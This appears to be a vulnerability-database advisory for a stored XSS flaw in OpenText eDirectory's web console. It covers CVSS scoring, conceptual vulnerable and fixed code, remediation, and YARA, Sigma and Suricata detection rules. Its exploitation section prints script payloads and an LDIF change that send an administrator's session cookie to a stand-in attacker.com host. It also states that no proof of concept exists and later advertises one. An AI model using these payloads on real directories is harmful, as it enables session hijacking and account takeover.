CVE-2021-22503
Executive Summary
CVE-2021-22503 is a stored cross-site scripting (XSS) vulnerability in OpenText™ eDirectory version 9.2.3.0000. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript or HTML into the eDirectory web interface. This can lead to session hijacking, credential theft, or defacement of the administrative console. The CVSS score is 5.4 (Medium), with a low EPSS probability of exploitation (0.0%). No public exploit code or proof-of-concept is currently available, but the vulnerability is considered unpatched as of the latest advisory.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed to trigger the injection.
- User Interaction: Required (UI:R) – The victim must click a crafted link or visit a malicious page.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited modification of content possible.
- Availability Impact: None (A:N) – No denial-of-service risk.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for session hijacking in an administrative interface elevate the risk for organizations using eDirectory.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (CWE-79) in the eDirectory web management interface. The application fails to sanitize or encode user-controlled input before rendering it in HTML pages. An attacker can inject malicious scripts via fields such as user names, group descriptions, or other directory attributes. When an administrator or user views the affected page, the script executes in the context of the victim’s session.
Root Cause: The eDirectory web console does not apply output encoding or input validation to certain fields, allowing arbitrary HTML/JavaScript to be stored and later rendered.
Attack Scenario:
- An attacker with access to modify directory objects (e.g., via LDAP or the web interface) inserts a payload like
<script>alert('XSS')</script>into a user display name. - An administrator views the user list or details page.
- The script executes, potentially stealing session cookies or performing actions on behalf of the admin.
Impact: Full compromise of the eDirectory administrative session, leading to unauthorized changes to directory objects, user accounts, or security policies.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code is presumed to be in the web UI rendering logic. A patched version would implement proper output encoding (e.g., HTML entity encoding) for all user-controlled fields.
Vulnerable Code (Conceptual):
<div class="user-name">
<%= user.getName() %>
</div>
Patched Code (Conceptual):
<div class="user-name">
<%= Encode.forHtml(user.getName()) %>
</div>
The patched version uses a context-aware encoding library (e.g., OWASP Java Encoder) to neutralize XSS payloads.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to modify directory objects (e.g., via LDAP bind or web console with low privileges).
- A victim user (admin) who will view the modified object.
Steps:
- Log into the eDirectory web console or use an LDAP client.
- Modify a user’s
displayNameattribute to include a payload:<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script> - Wait for an administrator to browse the user list or details page.
- The script executes, sending the admin’s session cookie to the attacker’s server.
Example LDIF modification:
dn: cn=targetuser,ou=users,dc=example,dc=com
changetype: modify
replace: displayName
displayName: <script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor LDAP modifications for suspicious attribute values containing
<script>,onerror, orjavascript:. - Review web server logs for requests to unknown external domains (potential cookie exfiltration).
- Use WAF rules to block XSS patterns in directory attributes.
Hardening:
- Implement input validation on all directory attributes (e.g., reject HTML tags).
- Apply output encoding in the web UI (if source code access is available).
- Restrict write access to directory objects to trusted administrators only.
- Use Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Logs: LDAP modify operations with payloads like
<script>,onload, orjavascript:. - Files: Modified directory objects with unusual attribute values.
- Web Console: Unexpected pop-ups or redirects when viewing directory objects.
Example IOC (Suricata rule):
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential eDirectory XSS Cookie Exfiltration"; flow:to_server; content:"/steal?c="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Detection Engineering
YARA Rule
rule CVE_2021_22503_XSS_Payload {
meta:
description = "Detects XSS payloads in eDirectory attributes"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2021-22503"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['"].*?['"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: Suspicious LDAP Modify with XSS Payload
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects LDAP modify operations containing XSS patterns in attribute values
author: Valters IT
date: 2025-04-10
logsource:
product: windows
service: ldap
detection:
selection:
EventID: 4662
ObjectName: '*'
AttributeValue|contains:
- '<script'
- 'onerror'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in descriptions (rare)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2021-22503 eDirectory XSS Cookie Exfiltration"; flow:to_server; content:"/steal?c="; http_uri; classtype:attempted-recon; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the eDirectory web console from untrusted networks (e.g., place behind VPN or bastion host).
- Restrict write access to directory objects to a minimal set of trusted administrators.
- Monitor LDAP logs for suspicious attribute modifications.
Long-Term Fix:
- Apply output encoding in the web UI (if source code is available).
- Upgrade to a patched version when released by OpenText.
- Implement a Web Application Firewall (WAF) with XSS protection rules.
Workaround:
- Disable the web console if not required, and manage eDirectory via LDAP or command-line tools only.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.